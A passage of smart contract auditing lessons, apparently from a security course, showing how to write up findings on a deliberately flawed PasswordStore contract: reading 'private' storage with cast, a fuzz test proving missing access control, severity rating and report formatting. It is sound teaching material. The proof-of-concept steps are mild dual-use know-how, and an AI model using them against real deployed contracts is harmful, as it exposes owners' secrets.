\nFinding Report\n\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n\nI show one such method of reading any data off chain below.\n\n**Impact:** Anyone is able to read the private password, severaly breaking the functionality of the protocol.\n\n**Proof of Concept:** The below test case shows how anyone could read the password directly from the blockchain. We use foundry's cast tool to read directly from the storage of the contract, without being the owner.\n\nCreate a locally running chain\n\n make anvil\n\nDeploy the contract to the chain\n\n make deploy\n\nRun the storage tool\n\n cast storage 1 --rpc-url http://127.0.0.1:8545\n\n_We use 1 because that's the storage slot of `PasswordStore::s_password`._\n\nYou'll get an output that looks like this:\n\n 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nYou can then parse that hex to a string with:\n\n cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nAnd get an output of:\n\n myPassword\n\n**Recommended Mitigation:** Due to this, the overall architecture of the contract should be rethought. One could encrypt the password off-chain, and then store the encrypted password on-chain. This would require the user to remember another password off-chain to decrypt the stored password. However, you're also likely want to remove the view function as you wouldn't want the user to accidentally send a transaction with this decryption key.\n\n
\n\n---\n\n### Recap\n\nOur finding report looks great. All we're missing is the severity (`[S-#]`), but we'll get to that shortly. Let's recap some of the important aspects we went over while compiling this report.\n\n### The Write-Up Structure\n\n1. **Title**: A title should be succinct and clear. A best practice is to adhere to the `Root Cause + Impact` rule of thumb.\n\n2. **Description**: This is a brief explanation of the problem, widely enhanced by using markdown and clear naming conventions for our variables.\n\n3. **Impact**: The impact should be clear and concise in how, in plain language, is describes the affects the vulnerability has on the protocol.\n\n4. **Proof of Code**: A vital part of a good report, this section proves how someone could exploit the detailed vulnerability by walking through the process programmatically.\n\n5. **Recommended Mitigation**: This is where our expertise shines. Our focus in the recommendation should be in making the protocol more secure, advising specific changes or considerations that should be made to mitigate the reported vulnerability and adding value by offering solutions instead of just pointing out problems.\n\n### Wrap Up\n\nOur report looks awesome, but there's more to do. No stopping now, let's dive into our `Access Control` finding as see what a finding report for it would look like. This shouldn't take long, we're practically experts already.\n", + "updates": [] + }, + { + "lessonId": "96541336-7d2a-4223-ae4b-cd0038bc99df", + "number": 19, + "title": "Access Control Writeup", + "slug": "access-control-writeup", + "folderName": "19-access-control-writeup", + "description": "", + "duration": 3, + "videoUrl": "fpBbCzn33lNwFO002faSAcVjlHyfLhfI9EU02juP5QlOg", + "rawMarkdownUrl": "/routes/security/3-first-audit/19-access-control-writeup/+page.md", + "markdownContent": "---\ntitle: Access Control Write-up\n---\n\n_Follow along with this video:_\n\n### Clean Slate\n\nWe've got the experience now, let's add a clean template to our `findings.md` for our `Access Control` finding and start filling this out together.\n\nA reminder of the function in question and our empty template:\n\n```js\n/*\n * @notice This function allows only the owner to set a new password.\n * @param newPassword The new password to set.\n */\n function setPassword(string memory newPassword) external {\n s_password = newPassword;\n emit SetNetPassword();\n }\n```\n\n---\n\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\n### Title\n\nWe know the rule of thumb (`Root Cause + Impact`). Let's ask ourselves, `What is the root cause of this vulnerability?` and `What is the impact of this?`\n\n- **Root Cause:** `setPassword` has no access control\n- **Impact:** non-owner can change the password.\n\nSo, our `Title` might look like this\n\n```\n[S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n```\n\n### Description\n\nI challenge you to write your own description for this vulnerability! Remember, it should be clear and concise, describing things in detail in plain language. When you're done, click below to see mine.\n\n
\nMy Description\n\n**Description:** The `PasswordStore::setPassword` function is set to be an `external` function, however the purpose of the smart contract and function's natspec indicate that `This function allows only the owner to set a new password.`\n\n```js\nfunction setPassword(string memory newPassword) external {\n // @Audit - There are no Access Controls.\n s_password = newPassword;\n emit SetNewPassword();\n}\n```\n\n
\n\n### Impact\n\nThe impact of our vulnerability should be pretty easy. Let's write it out now.\n\n```\n**Impact:** Anyone can set/change the stored password, severly breaking the contract's intended functionality\n```\n\nLet's put things together in our report so far.\n\n---\n\n```\n### [S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n**Description:** The `PasswordStore::setPassword` function is set to be an `external` function, however the purpose of the smart contract and function's natspec indicate that `This function allows only the owner to set a new password.`\n\n'''\nfunction setPassword(string memory newPassword) external {\n // @Audit - There are no Access Controls.\n s_password = newPassword;\n emit SetNewPassword();\n}\n'''\n\n**Impact:** Anyone can set/change the stored password, severly breaking the contract's intended functionality\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n```\n\n---\n\n### Wrap Up\n\nAlready our report looks incredibly professional. Next lesson we're applying our knowledge to construct a `Proof of Code`. Don't stop now!\n", + "updates": [] + }, + { + "lessonId": "53ba4e98-466b-4b5f-bdc3-28bc3fba6385", + "number": 20, + "title": "Missing Access Controls Proof Of Code", + "slug": "missing-access-controls-proof-of-code", + "folderName": "20-missing-access-controls-proof-of-code", + "description": "", + "duration": 5, + "videoUrl": "ZoLuxe2JHLCa01K1CkZdQxTgbV1H9pg7yk00beEL023Q54", + "rawMarkdownUrl": "/routes/security/3-first-audit/20-missing-access-controls-proof-of-code/+page.md", + "markdownContent": "---\ntitle: Missing Access Controls Proof of Code\n---\n\n_Follow along with this video:_\n\n---\n\n### Report so far\n\n
\nAccess Control Report\n\n### [S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n**Description:** The `PasswordStore::setPassword` function is set to be an `external` function, however the purpose of the smart contract and function's natspec indicate that `This function allows only the owner to set a new password.`\n\nfunction setPassword(string memory newPassword) external {\n// @Audit - There are no Access Controls.\ns_password = newPassword;\nemit SetNewPassword();\n}\n\n**Impact:** Anyone can set/change the stored password, severly breaking the contract's intended functionality\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n
\n\n---\n\n### Proof of Concept/Proof of Code\n\nWhile this vulnerability may seem obvious, often it isn't. PoC's are valuable in proving that our claim that the protocol is at risk is valid and a serious concern.\n\nLet's write a `fuzz test` to check if in fact addresses other than the owner are able to call `setPassword`.\n\n```js\n function test_anyone_can_set_password(address randomAddress) public {\n vm.assume(randomAddress != owner);\n vm.startPrank(randomAddress);\n string memory expectedPassword = \"myNewPassword\";\n passwordStore.setPassword(expectedPassword);\n\n vm.startPrank(owner);\n string memory actualPassword = passwordStore.getPassword();\n assertEq(actualPassword, expectedPassword);\n }\n```\n\nFoundry will pass this function random addresses to see if the assert holds, based on the number of runs we've configured.\n\n\n\nWe can see that through 256 runs, our fuzz test passed! So indeed any address was able to call our `setPassword` function!.\n\n### Recommended Mitigations\n\nThe mitigation of this is pretty clear - add access control to this function.\n\nLet's add our test as a `proof of code` as well as our `recommended mitigation` to our report.\n\n
\nAccess Control Report\n\n```\n### [S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n**Description:** The `PasswordStore::setPassword` function is set to be an `external` function, however the purpose of the smart contract and function's natspec indicate that `This function allows only the owner to set a new password.`\n\n'''js\nfunction setPassword(string memory newPassword) external {\n // @Audit - There are no Access Controls.\n s_password = newPassword;\n emit SetNewPassword();\n}\n'''\n\n**Impact:** Anyone can set/change the stored password, severly breaking the contract's intended functionality\n\n**Proof of Concept:** Add the following to the PasswordStore.t.sol test file:\n\n'''js\nfunction test_anyone_can_set_password(address randomAddress) public {\n vm.assume(randomAddress != owner);\n vm.startPrank(randomAddress);\n string memory expectedPassword = \"myNewPassword\";\n passwordStore.setPassword(expectedPassword);\n\n vm.startPrank(owner);\n string memory actualPassword = passwordStore.getPassword();\n assertEq(actualPassword, expectedPassword);\n }\n'''\n\n**Recommended Mitigation:** Add an access control conditional to `PasswordStore::setPassword`.\n\n'''js\nif(msg.sender != s_owner){\n revert PasswordStore__NotOwner();\n}\n'''\n```\n\n> Pro-tip: Use the dropdowns, like you've seen in these lessons, in your reports to hide big blocks of code.\n\n
\nHere's the syntax\n\n> ```\n>
\n> Code\n> '''js\n> function test_anyone_can_set_password(address >randomAddress) public {\n> vm.assume(randomAddress != owner);\n> vm.startPrank(randomAddress);\n> string memory expectedPassword = \"myNewPassword\";\n> passwordStore.setPassword(expectedPassword);\n>\n> vm.startPrank(owner);\n> string memory actualPassword = passwordStore.>getPassword();\n> assertEq(actualPassword, expectedPassword);\n> }\n> '''\n>
\n> ```\n\n
\n
\n\n### Wrap Up\n\nThat's two findings down. Repetition is what will strengthen these skills and make writting these reports second nature. As we saw in this lesson, security reviewers even get to do a little coding 😋.\n\nLet's move on to our third finding, this one should be quick!\n", + "updates": [] + }, + { + "lessonId": "defb06de-a27a-4658-8166-d0de739bb413", + "number": 21, + "title": "Finding Writeup Docs", + "slug": "finding-writeup-docs", + "folderName": "21-finding-writeup-docs", + "description": "", + "duration": 3, + "videoUrl": "u1anf3HQb47og5FDQicBK29BMfrCQ9vMXNkD57Xg00ZM", + "rawMarkdownUrl": "/routes/security/3-first-audit/21-finding-writeup-docs/+page.md", + "markdownContent": "---\ntitle: Finding Writeup Documentation Fix\n---\n\n_Follow along with this video:_\n\n---\n\n### Final Finding\n\nOur last finding is `informational` in nature (we'll learn more about what that means when we go over severities), but in essence - it's not very impactful, but it's still an issue and we should report it.\n\nYou'll learn with experience that informational and gas findings don't generally require extensive write ups, but for now, let's treat this like any other finding. Fresh template time!\n\n---\n\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\n### Title\n\n Remember the rule of thumb: `Root Cause + Impact`\n\n- **Root Cause** - NatSpec describes a parameter that doesn't exist\n- **Impact** - NatSpec is incorrect\n\nSo our title should look something like this:\n\n **Title:** [S-#] The `PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect.\n\nEasy.\n\n### Description\n\nHere we can just paste the problematic section of the code and briefly describe the problem.\n\n **Description:**\n '''\n /*\n * @notice This allows only the owner to retrieve the password.\n @> * @param newPassword The new password to set.\n */\n function getPassword() external view returns (string memory) {}\n '''\n\n The `PasswordStore::getPassword` function signature is `getPassword()` while the natspec says it should be `getPassword(string)`.\n\n### Impact\n\nImpact of course is:\n\n **Impact** The natspec is incorrect\n\n### Proof of Concept\n\nThis section isn't actually needed for a report like this, so we'll omit it.\n\n### Recommended Mitigation\n\nThis one should be obvious to us as well. We recommend the documentation is made accurate. Let's add it to the report.\n\n **Recommended Mitigation:** Remove the incorrect natspec line\n\nWe can use a fun markdown trick to illustrate the suggested changes.\n\n```diff\n /*\n * @notice This allows only the owner to retrieve the password.\n- * @param newPassword The new password to set.\n */\n```\n\n_You can achieve this using the below syntax_\n\n ```diff\n + line you want to add (shown in green)\n - line you want to remove (shown in red)\n ```\n\nLet's put everything together into a report now.\n\n
\nFinding #3 Report\n\n```\n[S-#] The `PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect.\n\n**Description:**\n '''\n /*\n * @notice This allows only the owner to retrieve the password.\n @> * @param newPassword The new password to set.\n */\n function getPassword() external view returns (string memory) {}\n '''\n\n The `PasswordStore::getPassword` function signature is `getPassword()` while the natspec says it should be `getPassword(string)`.\n\n**Impact:** The natspec is incorrect\n\n**Recommended Mitigation:** Remove the incorrect natspec line.\n\n'''diff\n /*\n * @notice This allows only the owner to retrieve the password.\n- * @param newPassword The new password to set.\n */\n'''\n\n```\n\n
\n\n### Wrap Up\n\nI told you this one would be quick. We nailed it. Let's look at how we can use AI to polish things up for us when we need it.\n", + "updates": [] + }, + { + "lessonId": "eb3162ff-7724-4efc-84cf-89cf6cb77889", + "number": 22, + "title": "Augmented Report With Ai", + "slug": "augmented-report-with-ai", + "folderName": "22-augmented-report-with-ai", + "description": "", + "duration": 3, + "videoUrl": "LF8ECfsk7E025bCFXcT9KnDYDhOvknIL01UeNkiZJFCwQ", + "rawMarkdownUrl": "/routes/security/3-first-audit/22-augmented-report-with-ai/+page.md", + "markdownContent": "---\ntitle: Augmented Report with AI\n---\n\n_Follow along with this video:_\n\n---\n\n### Using AI to Polish things up\n\nAI's shouldn't relied upon for everything. They hallucinate and can/will make mistakes. With that said - they are great at writing reports and serving as a sanity check for security researchers.\n\nIt's possible we're not confident in our write up, or our grammar or spelling is weak. This is where AI can really shine.\n\n### Proper Prompting\n\nThe key to getting a decent response from an AI model (like ChatGPT), is to give it a decent prompt. Formatting and clarity go a long way.\n\nIn our care we want the AI to proof read our report and suggest grammar and formatting changes. It's best to give the AI a bit of context.\n\n```\nThe following is a markdown write-up of a findiing in a smart contract codebase, can you help me make sure it is grammatically correct and formatted nicely?\n\n---\nPASTE-REPORT HERE\n---\n```\n\nA prompt like the above will give the AI clear context and clear delineation between your request and the data to analyze (your findings report).\n\n> Note: The AI is going to give you something that _looks_ great at first glance. It's important to double check the AI's suggestions for accuracy. Don't simply copy over it's suggested implementation, this is very risky.\n\n### Wrap Up\n\nArtificial Intelligence, through tools like ChatGPT, can significantly streamline technical write-ups. It adds a layer of quality control, ensuring that your findings read well, look good and most importantly, communicate effectively.\n\nRemember to use these tools to your advantage when drafting complex technical reports. But as we've learnt, always remember to cross-check their work to ensure it is free from errors.\n", + "updates": [] + }, + { + "lessonId": "0f6e1ddc-d24a-4203-89cb-fb1ce362312b", + "number": 23, + "title": "Quick Primer On What We Are Learning Next", + "slug": "quick-primer-on-what-we-are-learning-next", + "folderName": "23-quick-primer-on-what-we-are-learning-next", + "description": "", + "duration": 2, + "videoUrl": "01e3dSk89WqeZhvPuvu5LZmNq3bd849eSDUkqwvO4t3Q", + "rawMarkdownUrl": "/routes/security/3-first-audit/23-quick-primer-on-what-we-are-learning-next/+page.md", + "markdownContent": "---\ntitle: Quick Primer on What We Are Learning Next\n---\n\n_Follow along with this video:_\n\n---\n\n### What comes next?\n\nAlright, we've made significant progress already. Reflecting on our development journey, we have notched up three substantial findings which are currently in our repository. However, our to-do list isn't finished yet. We still have two crucial aspects to iron out.\n\nFirst, our three findings need to be appended with their respective severity ratings. We're going to look into how best to determine a findings severity and adjust our report to reflect these assessments.\n\nSecondly, we need to convert our `findings.md` - a markdown file - into a professional-looking PDF that can be shared with protocols, and showcased on our portfolio. The PDF's we'll be creating are visible on the course's [**GitHub Repo**](https://github.com/Cyfrin/3-passwordstore-audit/blob/audit-data/audit-data/report.pdf), so check them out.\n\nLet's get started with `determining a finding's severity`.\n\n\n", + "updates": [] + }, + { + "lessonId": "c26e36b0-c803-49f8-8b99-3a29563ef40e", + "number": 24, + "title": "Severity Rating Introduction", + "slug": "severity-rating-introduction", + "folderName": "24-severity-rating-introduction", + "description": "", + "duration": 4, + "videoUrl": "02GntIjVRQZvnqgYavxGEWbMzNoZ98an31qf02BG6qDak", + "rawMarkdownUrl": "/routes/security/3-first-audit/24-severity-rating-introduction/+page.md", + "markdownContent": "---\ntitle: Severity Rating Introduction\n---\n\n_Follow along with this video:_\n\n---\n\n### How to Evaluate a Finding's Severity\n\nFor this lesson we'll be referencing the [**CodeHawks Documentation**](https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity). There's a section specifically outlining `How to Evaluate a Finding Severity` and we'll be leveraging that methodology here.\n\nWe'll be breaking our severities into `High`, `Medium` and `Low`. Some security researchers will include a `Critical` severity, if they believe a situation warants one, but we'll stick with these 3 for now.\n\n### Impact: High, Medium, and Low\n\nDetermining the category comes down to two elements: the likelihood of an attack and the impact of the attack. Though these can be subjective, there are some standard guidelines.\n\n1. **High Impact**: `funds` are directly or nearly `directly at risk`, or a `severe disruption` of protocol functionality or availability occurs.\n2. **Medium Impact**: `funds` are `indirectly at risk` or there’s `some level of disruption` to the protocol’s functionality.\n3. **Low Impact**: `Fund are not at risk`, but a function might be incorrect, or a state handled improperly etc.\n\nThink of it in terms of user experience - _how pissed off would users be if an attack happened?_\n\n### Likelihood: High, Medium, and Low\n\nAssessing the likelihood of a certain event happening can be somewhat subjective. That said, consider the following:\n\n1. **High Likelihood**: Highly probably to happen.\n - a hacker can call a function directly and extract money\n2. **Medium Likelihood**: Might occur under specific conditions.\n - a peculiar ERC20 token is used on the platform.\n3. **Low Likelihood**: Unlikely to occur.\n - a hard-to-change variable is set to a unique value at a specific time.\n\n> Note: Some situations are _so unlikely_ they're considered `computationally unfeasible` and are not considered valid attack paths.\n\n### Wrap Up\n\nWith an understanding of impact and likelihood, we're ready to start applying these methodologies to our PasswordStore audit.\n\nTake some time before moving on to familiarize yourself with the severity example available on the [**CodeHawks Documentation**](https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity) before moving forward!\n", + "updates": [] + }, + { + "lessonId": "cfca531b-48bb-4b05-ae4f-9873925a2075", + "number": 25, + "title": "Assesing Highs", + "slug": "assesing-highs", + "folderName": "25-assesing-highs", + "description": "", + "duration": 4, + "videoUrl": "ukTF1ZbIFTRK2n024mfiuJ015XVpcLuzlWy01GZh9oAq00M", + "rawMarkdownUrl": "/routes/security/3-first-audit/25-assesing-highs/+page.md", + "markdownContent": "---\ntitle: Assessing Highs\n---\n\n_Follow along with this video:_\n\n---\n\n### Assessing Our Severities\n\nAlright! We're ready to start applying our understanding of `likelihood` and `impact` to the PasswordStore protocol. Let's take a look at our findings.\n\n```\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n### [S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n### [S-#] The 'PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect\n```\n\n## Finding #1\n\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n
\nImpacts and Likelihoods\n\n1. **High Impact**: `funds` are directly or nearly `directly at risk`, or a `severe disruption` of protocol functionality or availability occurs.\n2. **Medium Impact**: `funds` are `indirectly at risk` or there’s `some level of disruption` to the protocol’s functionality.\n3. **Low Impact**: `Fund are not at risk`, but a function might be incorrect, or a state handled improperly etc.\n\n---\n\n4. **High Likelihood**: Highly probably to happen.\n - a hacker can call a function directly and extract money\n5. **Medium Likelihood**: Might occur under specific conditions.\n - a peculiar ERC20 token is used on the platform.\n6. **Low Likelihood**: Unlikely to occur.\n - a hard-to-change variable is set to a unique value at a specific time.\n\n
\n\n---\n\nLet's consider impacts and likelhoods of our first scenario (I've provided you a reference to them above).\n\nUpon consideration we see that, while funds aren't at risk, the user's 'hidden' password being visible to anyone is a pretty severe impact to how the protocol is expected to function.\n\nBecause of this, I would argue our assessment of `Impact` should be `High`.\n\nNow, for likelihood we ask ourselves:\n\n- `How likely is it that somebody will be able to exploit this?`\n\nThe answer is - _very likely_. There's nothing stopping any malicious actor from acquiring the stored password - it's almost a certainty. `Likelihood` should also be considered `High`.\n\n### Likelihood & Impact:\n\n- Impact: High\n- Likelihood: High\n- Severity: High\n\nApplying our assessment to our finding title should look like this:\n\n\n\n> Pro-tip: We should try to arrange our findings in our report from High -> Low and from Worst -> Least Offenders\n\n## Finding #2\n\n### [S-#] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n
\nImpacts and Likelihoods\n\n1. **High Impact**: `funds` are directly or nearly `directly at risk`, or a `severe disruption` of protocol functionality or availability occurs.\n2. **Medium Impact**: `funds` are `indirectly at risk` or there’s `some level of disruption` to the protocol’s functionality.\n3. **Low Impact**: `Fund are not at risk`, but a function might be incorrect, or a state handled improperly etc.\n\n---\n\n4. **High Likelihood**: Highly probably to happen.\n - a hacker can call a function directly and extract money\n5. **Medium Likelihood**: Might occur under specific conditions.\n - a peculiar ERC20 token is used on the platform.\n6. **Low Likelihood**: Unlikely to occur.\n - a hard-to-change variable is set to a unique value at a specific time.\n\n
\n\n---\n\nConsidering our second finding, we can tell that anyone being able to set the password at any time is a severe disruption of protocol functionality. A clear `High` `Impact`.\n\nThe `likelihood` is also going to be `High`. Anyone can do this, at any time, the vulnerability is rooted in `access control`.\n\n### Likehood & Impact:\n\n- Impact: High\n- Likelihood: High\n- Severity: High\n\nThe application of this to our second finding's title should leave us with:\n\n```\n### [H-1] Storing the password on-chain makes it visible to anyone and no longer private\n\n### [H-2] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n### [S-#] The 'PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect\n```\n\n### Wrap Up\n\nThis is great! We've got one more finding to assess the severity of and this one's a little different as it's `informational`. Let's go over it's `Impact` and `Likelihood` in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "a7210936-a742-4881-8f6d-96e0d6ff315f", + "number": 26, + "title": "Severity Rating Informational", + "slug": "severity-rating-informational", + "folderName": "26-severity-rating-informational", + "description": "", + "duration": 3, + "videoUrl": "PoNB79RjwrMKqxGwoTpLq8u3jvVsF82btZwus3Ay01cI", + "rawMarkdownUrl": "/routes/security/3-first-audit/26-severity-rating-informational/+page.md", + "markdownContent": "---\ntitle: Severity Rating Assesing Informational/Gas/Non-Crit\n---\n\n_Follow along with this video:_\n\n---\n\n## Finding #3\n\n### [S-#] The 'PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect\n\n
\nImpacts and Likelihoods\n\n1. **High Impact**: `funds` are directly or nearly `directly at risk`, or a `severe disruption` of protocol functionality or availability occurs.\n2. **Medium Impact**: `funds` are `indirectly at risk` or there’s `some level of disruption` to the protocol’s functionality.\n3. **Low Impact**: `Fund are not at risk`, but a function might be incorrect, or a state handled improperly etc.\n\n---\n\n4. **High Likelihood**: Highly probably to happen.\n - a hacker can call a function directly and extract money\n5. **Medium Likelihood**: Might occur under specific conditions.\n - a peculiar ERC20 token is used on the platform.\n6. **Low Likelihood**: Unlikely to occur.\n - a hard-to-change variable is set to a unique value at a specific time.\n\n
\n\n---\n\nJust like before, let's ask ourselves things like\n\n- `Are funds at risk?` - No.\n- `Is this a severe disruption of the protocol?` - No.\n- `Are funds indirectly at risk?` - No\n- `Is there SOME disruption of the protocol?` - Also no.\n\nIt seems already that this finding is going to be pretty low severity, but look at our `Low Impact` criteria (referenced in the dropdown above), we can see that even this doesn't seem to apply.\n\nWhat do we do?\n\n### Likelihood & Impact\n\n- Impact: NONE\n- Likelihood: HIGH\n- Severity: Informational/Gas/Non-crit\n\nIn cases like these we would want to inform the protocol that these considerations may not explicitly be bugs but they could include things like\n\n- Design Pattern Improvements\n- Test Coverage Improvements\n- Documentation Errors\n- Spelling Mistakes\n\nAnything that isn't a bug, but maybe should be considered anyway to make the code more readable etc - `Informational Severity` (sometimes called 'non-crits') There are also `Gas` severity findings, pertaining to gas optimizations, but we'll go over some of those a little later on.\n\nThis is how our titles look now:\n\n```\n### [H-1] Storing the password on-chain makes it visible to anyone and no longer private\n\n### [H-2] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password\n\n### [I-1] The 'PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect\n```\n\n### Wrap Up\n\nGreat work! Our report is looking amazing at this stage. We've consolidated our findings into a document that is clear and concise - outlining all the issues we've spotted. Our findings are well formatted and easy to understand with robust `Proofs of Code`.\n\nWhat's next?\n\nMaybe we missed something .. should we go back and do another pass? Let's go over that frame of mind in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "fcd3ebfe-8670-4f09-9bdc-cf7f82bcda3e", + "number": 27, + "title": "Timeboxing", + "slug": "timeboxing", + "folderName": "27-timeboxing", + "description": "", + "duration": 2, + "videoUrl": "P7zwQ61fT529E61VUjAySCR7Y9cHzpI3ugjlKCbTgAc", + "rawMarkdownUrl": "/routes/security/3-first-audit/27-timeboxing/+page.md", + "markdownContent": "---\ntitle: Timeboxing\n---\n\n_Follow along with this video:_\n\n---\n\n### Are we done?\n\nNow, we've done a lot. You're probably wondering if we should go back and look at the code again. Maybe we missed something...\n\nTake a moment to consider what you would do in a `live audit` situation. Consider your answer before continuing on.\n\n
\n The Answer \n
\nMaybe.\n
\n
\n\nHonestly, we can always look at one more line of code. We can always further scrutinize a repo. At some point however, we have to say \"I'm done.\"\n\nA lot of time's we're going to be time-boxed in what we do. There will be a limit to the amount of time we can reasonably spend on something. Sometimes this time-boxing is a hard limit we impose on ourselves to assure we remain at our most efficient.\n\nOften a pressing situation comes down to time management and setting bounds on the time we spend on things.\n\nWe'll go over a few time-boxing strategies a little later as well.\n\n
\n", + "updates": [] + }, + { + "lessonId": "8f66bfb6-017a-412a-9c05-48017f67c40b", + "number": 28, + "title": "Making A Pdf", + "slug": "making-a-pdf", + "folderName": "28-making-a-pdf", + "description": "", + "duration": 12, + "videoUrl": "EyZXPkYslpNZ01jYOiUgHE02CQTHfVlo02UooTEwq3IAxs", + "rawMarkdownUrl": "/routes/security/3-first-audit/28-making-a-pdf/+page.md", + "markdownContent": "---\ntitle: Your First Full Report - Making a PDF\n---\n\n_Follow along with this video:_\n\n---\n\n### First Professional Markdown Report\n\nThis lesson covers how to convert a list of findings into a professional-looking PDF using **Markdown**.\n\nOur goal is to transform raw data into valuable information by creating a detailed and comprehensive report. Plus, this gives you something impressive to add to your portfolio!\n\n## The Basics\n\nThere are some tools and resources you'll need to prepare yourself with before getting started.\n\n[**GitHub Repo**](https://github.com/Cyfrin/audit-report-templating) - We've created a repo dedicated to assisting security reviewers with generating these reports.\n\n[**Pandoc**](https://pandoc.org/installing.html) - a universal document converter that we'll be leveraging to generate our PDFs\n\n[**LaTeX**](https://www.latex-project.org/get/) - a document preparation system for typesetting used in technical and scientific documentation primarily.\n\n[**Markdown All in One**](https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one) - Amazing VS Code extension to get the most our of markdown formatting.\n\n[**VSCode PDF**](https://marketplace.visualstudio.com/items?itemName=tomoki1207.pdf) - will allow us to preview PDF files within VSCode\n\n### Adding LaTex to Pandoc\n\nOnce `Pandoc` has been installed, it should create a folder in your root directory named `.Pandoc`, within is a `templates` folder. We want to navigate there.\n\nIn our provided GitHub Repo, you'll find a specific template file named [`eisvogel.latex`](https://github.com/Cyfrin/audit-report-templating/blob/main/eisvogel.latex). You want to copy this file into your `templates` folder.\n\n> This `eisvogel.latex` template is what's going to tell `Pandoc` how to format our PDF for us! Challenge yourself to customize this template in future!\n\n### Setting Up\n\nOnce `Pandox` and `LaTex` have been installed, create a file named `report.md` in your audit-data folder.\n\nWithin the aforementioned GitHub Repo, you'll find `report-example.md`. Copy this into your newly created file. This will be our template for building our final report.\n\n### Adding Your Own Logo\n\nLastly, let's add a bit of flare. Find an awesome logo (pdf format) and add it to the audit-data folder as well. Name this file `logo.pdf`.\n\n### Filling out report.md\n\nInside our `report.md` template, we're going to want to personalize a number of things.\n\n- **Title:** Name it something that describes your work precisely such as \"Network Vulnerability Assessment\".\n- **Author:** You!\n- **Date:** Update the audit date.\n\nNow, let's move to the sections under `===` which you can customize according to your audit:\n\n- **Prepared by:** You!\n- **Auditors:** You again! If you're working as part of a team, you can list contributors here.\n- **Protocol summary:** Describe the protocol and its workings.\n- **Disclaimer:** Enter your name in the space provided, this is to assure the protocol knows that the report is not a guarantee of bug-free code.\n- **Risk classifications:** Explain the criteria for classifying severities into High, Medium and low.\n- **Audit details:** Include the commit hash that your findings correspond to.\n- **Scope:** Include reference to the exact contracts the review has covered.\n - _Note:_ the `└── `, found in the README scope will error when we generate the PDF. Replace this with `#--`.\n- **Audit roles:** The roles of the protocol, these were some of the earliest notes we took!\n- **Executive summary:** Give a brief overview of the assessment process.\n- **Severity and number of issues found:** Summarize the number and severity of issues detailed in the report.\n- **Findings:** This is our breakdown of specific findings uncovered over the course of the audit. Paste the write-ups we've done into the respective severity categories and delete the ones we don't need!\n\nOur report is now ready to be transformed into a professional looking PDF!\n\n### Generating the PDF\n\nAlright, moment of truth. In your terminal, navigate to your `audit-data` folder. Assuming everything has gone well upto now we should just have to run the command:\n\n```bash\npandoc report.md -o report.pdf --from markdown --template=eisvogel --listings\n```\n\nAnd with a bit of magic, you should see a `report.pdf` file appear in your `audit-data` folder.\n\n### Wrap Up\n\nWow! Our report looks amazing. It's so professional, any client we provide this to would be impressed. We absolutely should add this to our portfolio to showcase all we've learned. Let's go over that in the next lesson!\n\n---\n\nOk, this wasn't easy and there are admittedly a tonned of potential pitfalls along the way. I've compiled a few possible errors/scenarios you may run into with some suggestions to troubleshoot them below.\n\n
\nErrors/Issues\n\n1. **My home/root directory doesn't have a `.pandoc` file!**\n\n - Depending on your operating system, this file may exist elsewhere. If you're using WSL/Linux keep a few things in mind\n\n - The file may be hidden - files prepended with `.` are often hidden. You can reveal all files in a directory with the command `ls -a`\n - The file may be elsewhere - navigate back in directories (`cd ..`) until you reach one that looks like this\n\n \n\n ...from here navigate to `usr/share/pandoc/data/templates`. In here you will find existing templates and this is where `eisvogel.latex` should be added.\n\n2. **VS Code says I'm _unable to write a file to that directory_!**\n\n - This is related to your user permissions, we can force the file to be created with a sudo command. `sudo touch eisvogel.latex` - this command will create a file named `eisvogel.latex` in your current directory.\n - You may be prompted to enter your credentials or need to create an admin user.\n\n3. **VS Code says I'm _unable to write to eisvogel.latex_!**\n\n - Similarly to above, this is permissions related. The easiest work around I found was through another `sudo` command.\n ```bash\n sudo tee eisvogel.latex << 'EOF'\n [copy LaTex here]\n EOF\n ```\n - The LaTex you need to copy is available [**here**](https://github.com/Cyfrin/audit-report-templating/blob/main/eisvogel.latex). Yes, you will be pasting 1068 lines into your terminal - this will overwrite your `eisvogel.latex` file, in your current directory, with that copied data.\n\n4. **When I run `pandoc report.md -o ... etc` I get _File Not Found_**\n\n - This seems caused when our LaTex package is missing an important element. The easiest solution is to assure we have the full distribution of the package we're using. For WSL users `sudo apt install texlive-full` will resolve these errors.\n - Note: `texlive-full` is 5.6GB in size.\n\n5. **When I run `pandoc report.md -o ... etc` I get _Missing number, treated as zero_**\n\n - Caused by an 